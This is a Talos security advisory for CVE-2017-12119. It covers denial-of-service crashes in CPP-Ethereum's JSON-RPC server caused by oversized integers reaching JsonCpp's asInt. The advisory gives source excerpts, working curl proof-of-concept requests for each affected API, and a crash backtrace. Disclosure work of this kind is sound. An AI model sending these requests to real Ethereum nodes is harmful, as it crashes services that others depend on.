Talos Vulnerability Report

TALOS-2017-0471

CPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities

January 9, 2018
CVE Number

CVE-2017-12119

Summary

An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum’s JSON-RPC. Specially crafted JSON requests can cause a unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage  client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a  remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:

List of APIs available by default when JSON-RPC server is turned on:
	- debug_storageRangeAt
	- debug_traceBlockByNumber

List of APIs available when the "--admin-via-http" switch is used:
	- miner_start
	- admin_eth_vmTrace
	- personal_newAccount
	- admin_eth_getReceiptByHashAndIndex
	- admin_setVerbosity
	- admin_verbosity

To handle JSON objects, the JsonCpp project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of the asInt method looks as follows:

json_value.cpp

Line 732	Value::Int Value::asInt() const {
Line 733	  switch (type_) {
Line 734	  case intValue:
Line 735		JSON_ASSERT_MESSAGE(isInt(), "LargestInt out of Int range");
Line 736		return Int(value_.int_);
Line 737	  case uintValue:
Line 738		JSON_ASSERT_MESSAGE(isInt(), "LargestUInt out of Int range");
Line 739		return Int(value_.uint_);
Line 740	  case realValue:
Line 741		JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt),
Line 742							"double out of Int range");
Line 743		return Int(value_.real_);
Line 744	  case nullValue:
Line 745		return 0;
Line 746	  case booleanValue:
Line 747		return value_.bool_ ? 1 : 0;
Line 748	  default:
Line 749		break;
Line 750	  }
Line 751	  JSON_FAIL_MESSAGE("Value is not convertible to Int.");
Line 752	}

for both ints there is an assertion for which the condition is checked by the isInt method:

Line 1314	bool Value::isInt() const {
Line 1315	  switch (type_) {
Line 1316	  case intValue:
Line 1317	#if defined(JSON_HAS_INT64)
Line 1318		return value_.int_ >= minInt && value_.int_ <= maxInt;
Line 1319	#else
Line 1320		return true;
Line 1321	#endif
Line 1322	  case uintValue:
Line 1323		return value_.uint_ <= UInt(maxInt);
Line 1324	  case realValue:
Line 1325		return value_.real_ >= minInt && value_.real_ <= maxInt &&
Line 1326			   IsIntegral(value_.real_);
Line 1327	  default:
Line 1328		break;
Line 1329	  }
Line 1330	  return false;
Line 1331	}		

The isInt method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particular Json::Value object during construction was set to uintValue. If so the value should pass the check at line 1323.

const Int Value::maxInt = Int(UInt(-1) / 2);
const UInt Value::maxUInt = UInt(-1);

Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of maxInt instead of maxUInt for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks. In the current situation with the maxInt defined above, we just need to pass integer bigger than 0x7FFFFFFF to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF.

Line 37	// The call to assert() will show the failure message in debug builds. In
Line 38	// release builds we abort, for a core-dump or debugger.
Line 39	# define JSON_FAIL_MESSAGE(message)                                            \
Line 40	  {                                                                            \
Line 41		JSONCPP_OSTRINGSTREAM oss; oss << message;                                    \
Line 42		assert(false && oss.str().c_str());                                        \
Line 43		abort();                                                                   \
Line 44	  }

The following documents each vulnerable API below and provides a POC:

debug_traceBlockByNumber

cpp-ethereum\libweb3jsonrpc\DebugFace.h

Line 15	DebugFace()
Line 16	{
		(...)
Line 20		this->bindAndAddMethod(jsonrpc::Procedure("debug_traceBlockByNumber", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI);				
		(...)
Line 23	}				
		(...)
Line 37	inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response)
Line 38	{
Line 39		response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]);
Line 40	}

At line 39 everything except the first parameter passed to debug_traceBlockByNumber API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545	

admin_eth_getReceiptByHashAndIndex

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15	AdminEthFace()
Line 16	{
		(...)
Line 30       this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_getReceiptByHashAndIndex", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI);
		(...)
Line 37	}				
		(...)
Line 91	inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response)
Line 92	{
Line 93		response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 94	}

At line 93 the second parameter passed to admin_eth_getReceiptByHashAndIndex API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_getReceiptByHashAndIndex","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545

admin_eth_vmTrace

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15	AdminEthFace()
Line 16	{
		(...)
Line 29    this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_vmTrace", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI);
		(...)
Line 37	}				
		(...)
Line 87	inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response)
Line 88	{
Line 89		response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 90	}

At line 89 the second parameter passed to admin_eth_vmTrace API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_vmTrace","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545

admin_setVerbosity

cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h

Line 15	AdminUtilsFace()
Line 16	{
Line 17     this->bindAndAddMethod(jsonrpc::Procedure("admin_setVerbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI);
		(...)
Line 20	}				
		(...)
Line 22	inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response)
Line 23	{
Line 24		response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString());
Line 25	}

At line 89 the second parameter passed to admin_setVerbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_setVerbosity","params":[112233445566778899,"2"],"id":1}' 192.168.217.155:8545

admin_verbosity

cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h

Line 15	AdminUtilsFace()
Line 16	{
Line 18      this->bindAndAddMethod(jsonrpc::Procedure("admin_verbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI);
		(...)
Line 20	}				
		(...)
Line 26	inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response)
Line 27	{
Line 28		response = this->admin_verbosity(request[0u].asInt());
Line 29	}

At line 89 the parameter passed to admin_verbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"admin_verbosity","params":[112233445566778899],"id":1}' 192.168.217.155:8545

debug_storageRangeAt

cpp-ethereum\libweb3jsonrpc\DebugFace.h

Line 15	DebugFace()
Line 16	{
		(...)
Line 18        this->bindAndAddMethod(jsonrpc::Procedure("debug_storageRangeAt", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING,"param4",jsonrpc::JSON_STRING,"param5",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI);
		(...)
Line 23	}				
		(...)
Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response)
Line 30 {
Line 31        response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt());
Line 32 } At `line 31` the second and fifth parameter passed to `debug_storageRangeAt` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"debug_storageRangeAt","params":["1",112233445566778899,"3","4",5],"id":1}' 192.168.217.155:8545

miner_start

cpp-ethereum\libweb3jsonrpc\AdminEthFace.h

Line 15	AdminEthFace()
Line 16	{
		(...)
Line 31        this->bindAndAddMethod(jsonrpc::Procedure("miner_start", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI);
		(...)
Line 37	}				
		(...)
Line 95     inline virtual void miner_startI(const Json::Value &request, Json::Value &response)
Line 96     {
Line 97		     response = this->miner_start(request[0u].asInt());
Line 98     }

At line 96 the parameter passed to miner_start API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[112233445566778899],"id":1}' 192.168.217.155:8545

personal_unlockAccount

cpp-ethereum\libweb3jsonrpc\PersonalFace.h

Line 15	PersonalFace()
Line 16	{
		(...)
Line 18          this->bindAndAddMethod(jsonrpc::Procedure("personal_unlockAccount", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_STRING,"param3",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI);
		(...)
Line 37	}				
		(...)
Line 28	inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response)
Line 29	{
Line 30		response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt());
Line 31	}

At line 30 the third parameter passed to personal_unlockAccount API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one. Example of a request that triggers this vulnerability:

curl -X POST --data '{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["1","2",112233445566778899],"id":1}' 192.168.217.155:8545

Crash Information

curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545	

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
  By cpp-ethereum contributors, (c) 2013-2016.
  See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: ZUNHn2AgrMM=
terminate called after throwing an instance of 'Json::LogicError'
  what():  LargestUInt out of Int range
Aborted (core dumped)	

gdb-peda$ bt
#0  0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007fa13b12302a in __GI_abort () at abort.c:89
#2  0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) ()
#7  0x000000000088783f in Json::Value::asInt() const ()
#8  0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=..., response=...) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39
#9  0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) ()
#10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) ()
#11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) ()
#12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) ()
#13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) ()
#14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333
#20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058

Timeline

2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.